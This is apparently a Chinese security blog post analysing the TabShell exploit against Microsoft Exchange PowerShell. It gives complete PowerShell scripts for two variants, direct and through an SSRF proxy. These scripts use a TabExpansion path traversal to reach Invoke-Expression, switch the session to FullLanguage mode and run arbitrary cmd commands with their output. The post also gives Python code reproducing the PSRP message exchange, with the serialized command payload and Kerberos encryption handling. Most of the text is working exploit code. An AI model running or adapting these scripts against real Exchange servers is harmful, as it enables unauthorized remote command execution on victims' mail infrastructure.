TabShell 利用分析 —— 执行 cmd 命令并获得返回结果

发布于 2024-11-03 19:17:18 字数 14271 浏览 6 评论 0

0x00 前言

利用 TabShell 可以使用普通用户逃避沙箱并在 Exchange Powershell 中执行任意 cmd 命令,本文将要介绍利用 TabShell 执行 cmd 命令并获得返回结果的方法,分享通过 Python 编写脚本的细节。

0x01 简介

本文将要介绍以下内容:

  • 执行 cmd 命令并获得返回结果的方法
  • Python 实现

0x02 执行 cmd 命令并获得返回结果的方法

testanull 公开了一个利用的 POC,地址如下: https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e

为了能够支持更多的命令,POC 需要做简单修改,细节如下:

某些命令无法执行,例如 netstat -ano 或者 systeminfo

解决方法:去掉命令: $ps.WaitForExit()

执行 cmd 命令并获得返回结果的方法有以下两种:

1.使用 Powershell 连接 Exchange 服务器,实现 TabShell

Powershell 命令示例:

$uri = "http://Exchange01.test.com/PowerShell/"
$username = "test\administrator"
$password = "Password123"

$secure = ConvertTo-SecureString $password -AsPlainText -Force 
$creds  = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure)
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $uri -Credential $creds -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption
Invoke-Command -Session $session -ScriptBlock { 
    TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" 
}
invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"
$ps = new-object System.Diagnostics.Process
$ps.StartInfo.Filename = "ipconfig"
$ps.StartInfo.Arguments = " /all"
$ps.StartInfo.RedirectStandardOutput = $True
$ps.StartInfo.UseShellExecute = $false
$ps.start()
[string] $Out = $ps.StandardOutput.ReadToEnd();
$Out

需要注意以下问题:

  • 需要域内主机上执行
  • 需要 fqdn,不支持 IP
  • 连接 url 可以选择 httphttps
  • 认证方式可以选择 BasicKerberos

2.通过 SSRF 漏洞调用 Exchange Powershell,实现 TabShell

这里需要通过 Flask 建立本地代理服务器,方法可参考之前的文章 《ProxyShell 利用分析 3——添加用户和文件写入》

Powershell 命令示例:

$uri = "http://127.0.0.1:80/PowerShell/" 
$username = "whatever"
$password = "whatever"

$secure = ConvertTo-SecureString $password -AsPlainText -Force 
$creds  = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure)
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $uri -Credential $creds -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption
Invoke-Command -Session $session -ScriptBlock { 
    TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" 
}
invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"
$ps = new-object System.Diagnostics.Process
$ps.StartInfo.Filename = "ipconfig"
$ps.StartInfo.Arguments = " /all"
$ps.StartInfo.RedirectStandardOutput = $True
$ps.StartInfo.UseShellExecute = $false
$ps.start()
[string] $Out = $ps.StandardOutput.ReadToEnd();
$Out

0x03 Python 实现

这里需要考虑两部分,一种是通过 SSRF 漏洞调用 Exchange Powershell 实现 TabShell 的 Python 实现,另一种是通过 Powershell Session 实现 TabShell 的 Python 实现,后者比前者需要额外考虑通信数据的编码和解码,具体细节如下:

1. 通过 SSRF 漏洞调用 Exchange Powershell 实现 TabShell 的 Python 实现

为了分析中间的通信数据,抓取明文数据的方法可参考上一篇文章《渗透技巧——Exchange Powershell 的 Python 实现》中的 0x04,在 Flask 中输出中间的通信数据

关键代码示例:

while True:
    r = session.post(powershell_url, data=data, headers=req_headers, verify=False)
    print("post data:")
    print(data)

    if r.status_code == 200:
        print("[+]" + r.headers["X-CalculatedBETarget"])
        break
    else:    
        print("[-]" + r.headers["X-CalculatedBETarget"])

print("recv data:")
print(r.content)

通过分析中间的通信数据,我们可以总结出以下通信过程:

(1)creationXml

初始化,构造原始数据

(2)ReceiveData

循环多次执行,返回结果中包含 "RunspaceState" 作为结束符

(3) 执行命令 ;../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression

在返回数据中获得 CommandId

(4) 读取输出结果

通过 CommandId 读取命令执行结果

(5) 执行命令 $ExecutionContext.SessionState.LanguageMode='FullLanguage'

在返回数据中获得 CommandId

(6) 读取输出结果

通过 CommandId 读取命令执行结果

(7) 执行命令并获得返回结果

依次执行以下命令:

ps = new-object System.Diagnostics.Process
$ps.StartInfo.Filename = "ipconfig"
$ps.StartInfo.Arguments = " /all"
$ps.StartInfo.RedirectStandardOutput = $True
$ps.StartInfo.UseShellExecute = $false
$ps.start()
[string] $Out = $ps.StandardOutput.ReadToEnd();

在返回数据中获得 CommandId,并通过 CommandId 读取命令执行结果,这些命令的格式相同,发送数据的格式如下:

"""<Obj RefId="0">
    <MS>
        <Obj N="PowerShell" RefId="1">
            <MS>
                <Obj N="Cmds" RefId="2">
                    <TN RefId="0">
                        <T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
                        <T>System.Object</T>
                    </TN>
                    <LST>
                        <Obj RefId="3">
                            <MS>
                                <S N="Cmd">{command}</S>
                                <B N="IsScript">true</B>
                                <Nil N="UseLocalScope" />
                                <Obj N="MergeMyResult" RefId="4">
                                    <TN RefId="1">
                                        <T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
                                        <T>System.Enum</T>
                                        <T>System.ValueType</T>
                                        <T>System.Object</T>
                                    </TN>
                                    <ToString>Error</ToString>
                                    <I32>2</I32>
                                </Obj>
                                <Obj N="MergeToResult" RefId="5">
                                    <TNRef RefId="1" />
                                    <ToString>Output</ToString>
                                    <I32>1</I32>
                                </Obj>
                                <Obj N="MergePreviousResults" RefId="6">
                                    <TNRef RefId="1" />
                                    <ToString>None</ToString>
                                    <I32>0</I32>
                                </Obj>
                                <Obj N="Args" RefId="7">
                                    <TNRef RefId="0" />
                                    <LST />
                                </Obj>
                            </MS>
                        </Obj>
                        <Obj RefId="8">
                            <MS>
                                <S N="Cmd">Out-Default</S>
                                <B N="IsScript">false</B>
                                <B N="UseLocalScope">true</B>
                                <Obj N="MergeMyResult" RefId="9">
                                    <TNRef RefId="1" />
                                    <ToString>None</ToString>
                                    <I32>0</I32>
                                </Obj>
                                <Obj N="MergeToResult" RefId="10">
                                    <TNRef RefId="1" />
                                    <ToString>None</ToString>
                                    <I32>0</I32>
                                </Obj>
                                <Obj N="MergePreviousResults" RefId="11">
                                    <TNRef RefId="1" />
                                    <ToString>Output, Error</ToString>
                                    <I32>3</I32>
                                </Obj>
                                <Obj N="Args" RefId="12">
                                    <TNRef RefId="0" />
                                    <LST />
                                </Obj>
                            </MS>
                        </Obj>
                    </LST>
                </Obj>
                <B N="IsNested">false</B>
                <S N="History">{command}</S>
                <B N="RedirectShellErrorOutputPipe">false</B>
            </MS>
        </Obj>
        <B N="NoInput">true</B>
        <Obj N="ApartmentState" RefId="13">
            <TN RefId="2">
                <T>System.Threading.ApartmentState</T>
                <T>System.Enum</T>
                <T>System.ValueType</T>
                <T>System.Object</T>
            </TN>
            <ToString>Unknown</ToString>
            <I32>2</I32>
        </Obj>
        <Obj N="RemoteStreamOptions" RefId="14">
            <TN RefId="3">
                <T>System.Management.Automation.RemoteStreamOptions</T>
                <T>System.Enum</T>
                <T>System.ValueType</T>
                <T>System.Object</T>
            </TN>
            <ToString>0</ToString>
            <I32>0</I32>
        </Obj>
        <B N="AddToHistory">true</B>
        <Obj N="HostInfo" RefId="15">
            <MS>
                <B N="_isHostNull">true</B>
                <B N="_isHostUINull">true</B>
                <B N="_isHostRawUINull">true</B>
                <B N="_useRunspaceHost">true</B>
            </MS>
        </Obj>
    </MS>
</Obj>"""

(8) 执行命令并获得最终返回结果

发送数据的格式同(7) 一致,执行的命令为: $Out ,在返回数据中获得 CommandId,并通过 CommandId 读取最终的命令执行结果,提取执行结果的示例代码:

doc = xml.dom.minidom.parseString(response_text)
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
    print("[-] GetCommandoutput failed with no Stream return")
    sys.exit(0)

print("[+] Output: ")
for element_i in elements:
    data = element_i.firstChild.nodeValue
    rawdata = base64.b64decode(data).decode('ISO-8859-1')        
    try:                
        pattern_output = re.compile(r"<S>(.*?)</S>")
        output_data = pattern_output.findall(rawdata)       
        print(output_data[0])       
    except Exception as e:
        return

2. 通过 Powershell Session 实现 TabShell 的 Python 实现

这里可以借鉴上一篇文章《渗透技巧——Exchange Powershell 的 Python 实现》得出的经验:两者通信过程一致,只是通过 Powershell Session 实现 TabShell 的 Python 实现需要额外考虑通信数据的编码和解码

通信数据的编码和解码可参考上一篇文章《渗透技巧——Exchange Powershell 的 Python 实现》中的 0x03

数据的编码和解码示例代码如下:

from pypsrp.encryption import WinRMEncryption
from pypsrp._utils import get_hostname, to_string, to_unicode
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
    'Content-Type': 'multipart/encrypted;protocol="application/HTTP-Kerberos-session-encrypted";boundary="Encrypted Boundary"',
    'Accept-Encoding': 'identity'
}
print("[*] 1.Sending http request")
r = session.post(url, data=request_data, headers=headers, verify=False)
if r.status_code == 200:
    print("[+] Success")
else:
    print("[!]")
    print(r.status_code)
    print(r.text)
    sys.exit(0)

hostname = "exchange01.test.com"
protocol = WinRMEncryption.KERBEROS
encryption = WinRMEncryption(session.auth.contexts[hostname], protocol)
content_type, payload = encryption.wrap_message(request_data.encode('utf-8'))

print("[*] 2.Sending http request")

r = session.post(url, data=payload, headers=headers, verify=False)
if r.status_code == 200:
    print("[+] Response length: " + str(len(r.text)))
    boundary = re.search("boundary=[" '|\\"](.*)[' '|\\"]', r.headers["content-type"]).group(1)  # type: ignore[union-attr] # This should not happen
    response_content = encryption.unwrap_message(r.content, to_unicode(boundary))  # type: ignore[union-attr] # This should not happen
    response_text = to_string(response_content)

完整代码的输出结果如下图

Alt text

0x04 小结

本文介绍了利用 TabShell 执行 cmd 命令并获得返回结果的方法,改进 POC,分享通过 Python 编写脚本的细节。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

上一篇:

下一篇:

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

少年亿悲伤

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

lee_heart

文章 0 评论 0

往事如风

文章 0 评论 0

春风十里

文章 0 评论 0

纸短情长

文章 0 评论 0

qq_pdEUFz

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文